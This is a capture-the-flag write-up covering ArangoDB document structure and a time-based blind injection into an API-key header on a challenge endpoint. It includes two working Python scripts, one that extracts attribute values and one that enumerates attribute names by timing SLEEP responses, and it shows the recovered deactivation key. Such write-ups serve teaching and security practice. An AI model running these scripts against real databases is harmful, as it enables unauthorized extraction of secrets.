“Documents in ArangoDB are JSON objects”
```json
Ex:
{
"_id" : "myusers/3456789",
"_key" : "3456789",
"_rev" : "14253647",
"firstName" : "John",
"lastName" : "Doe",
"address" : {
"street" : "Road To Nowhere 1",
"city" : "Gotham"
},
"hobbies" : [
{name: "swimming", howFavorite: 10},
{name: "biking", howFavorite: 6},
{name: "programming", howFavorite: 4}
]
}
```
All documents contain special attributes:
the document handle is stored as a string in _id
Immutable once doc has been created
the document's primary key in _key
This value can be user-specified when creating the document
the document revision in _rev .
maintained by ArangoDB automatically
All docs are uniquely identified by their document handle per every collection:
A document handle uniquely identifies a document in the database. It is a string and consists of the collection's name and the document key ( _key attribute) separated by / .
Keys----
A document key uniquely identifies a document in the collection it is stored in. It can and should be used by clients when specific documents are queried.
The document key is stored in the _key attribute of each document. The key values are automatically indexed by ArangoDB in a collection's primary index. Thus looking up a document by its key is a fast operation.
The _key value of a document is immutable once the document has been created.
By default, ArangoDB will auto-generate a document key if no _key attribute is specified, and use the user-specified _key otherwise.
The generated _key is guaranteed to be unique in the collection it was generated for. This also applies to sharded collections in a cluster. It can't be guaranteed that the _key is unique within a database or across a whole node or instance however.
From the error message, we know we are looping on doc
in a collection called config
. We don’t know any attributes for doc
, though, since we are blind. We do know, however, the system attributes that are present in every ArangoDB document.
I wrote some Python to use a blind SQL injection payload using SLEEP
to guess every character of X
attribute for doc
:
import requests
import string
import time
url = "http://api.frostbit.app/api/v1/frostbitadmin/bot/bce8b3c3-426c-4edf-901f-27c889158ff5/deactivate?debug=1"
headers = {"X-API-Key": ""}
discovered_key = ""
field = "_id"
discovered_rev = ""
char_set = "abcdefghijklmnopqrstuvwxyz0123456789-"
for position in range(0, 45):
for char in char_set:
payload = f"' OR (SUBSTRING(doc.{field}, {position}, 1) == '{char}' ? SLEEP(5) : 0) OR '"
headers["X-API-Key"] = payload
# Record the start time
start_time = time.time()
response = requests.get(url, headers=headers)
#print(response.text)
elapsed_time = time.time() - start_time
# If the request took longer, the condition was true
if elapsed_time > 2.1:
discovered_rev += char
print(f"Discovered so far: {discovered_rev}")
print("That query took this long: " + str(elapsed_time))
print(f"Full value of {field}: {discovered_rev}")
# BLIND SQL INJECTION PAYLOAD EXPLAINED---
# ' OR ---continuing the sql statement
# (SUBSTRING(doc._id, 0, 1) == 'c' ? SLEEP(5) : 0) # get a 1-length long substring (aka, 1 char), starting at the 0th character (aka first), of the string "doc._id"
# if that first character of doc._id is c, then sleep for 5 seconds. Otherwise, return 0 and fail quickly
With that code, I was able to obtain the values for the system attributes I knew of:
_key: config
_id: config/config (which makes sense, since doc identifiers are 'collection name/document key')
Those are the only attribute names I know of. There’s got to be one named something like “X-api-key”. Tried guessing attribute names:
- x_api_key : empty
- x-api-key: empty
- api-key: empty
- apikey: empty
- xapikey: empty
Ended up writing some new Python to enumerate all the attributes in a given document:
import requests
import string
import time
url = "http://api.frostbit.app/api/v1/frostbitadmin/bot/bce8b3c3-426c-4edf-901f-27c889158ff5/deactivate?debug=1"
headers = {"X-API-Key": ""}
max_attributes = 20 # Maximum number of attributes to attempt discovery
max_attr_name_length = 64 # Maximum expected attribute name length
discovered_attributes = []
# Loop through attributes by index
for index in range(max_attributes):
current_attribute = ""
for position in range(1, max_attr_name_length + 1): # Iterate over character positions
found_char = False
for char in string.ascii_letters + string.digits + "_": # Adjust charset if needed
# Blind SQLi payload using ATTRIBUTES() and NTH()
payload = (
f"' OR (SUBSTRING(NTH(ATTRIBUTES(doc), {index}), {position}, 1) == '{char}' ? SLEEP(2) : 0) OR '"
)
headers["X-API-Key"] = payload
# Measure response time
start_time = time.time()
response = requests.get(url, headers=headers)
elapsed_time = time.time() - start_time
if elapsed_time > 2:
current_attribute += char
print(f"Discovered so far (index {index}): {current_attribute}")
found_char = True
break
# If no character was found, the attribute name has been fully discovered
if not found_char:
break
# If a valid attribute name is discovered, add it to the list
if current_attribute:
discovered_attributes.append(current_attribute)
print(f"Discovered attribute: {current_attribute}")
else:
# Stop if no more attributes are found
break
print(f"All discovered attributes: {discovered_attributes}")
That code allowed me to discover the attribute name I needed - deactivate_api_key
. Well, actually it returned eactivate_aii_kek
, but I deduced it from there.
I used my original Python code to blind SQLi the value of that attribute, but was getting jumbled outputs.
I tweaked my code using different sleep values and character sets, getting increasingly better values:
- abe7a6ad-715e-d4eI6ar-90_1bA,-ci9R27,9aj596`4fB9’1
- avbes7ao6aedi-7g15e-e4ec6ac-9a01-b-c92799a89674f7917
- abhe7an6ads-715e9-4e67a-901be-c9h279ah96v4f9y1
Until I finally got the full key value:
abe7a6ad-715e-4e6a-901b-c9279a964f91
Using that key on the /deactivate
endpoint via X-Api-Key
caused the ransomware to deactivate, and this challenge was solved!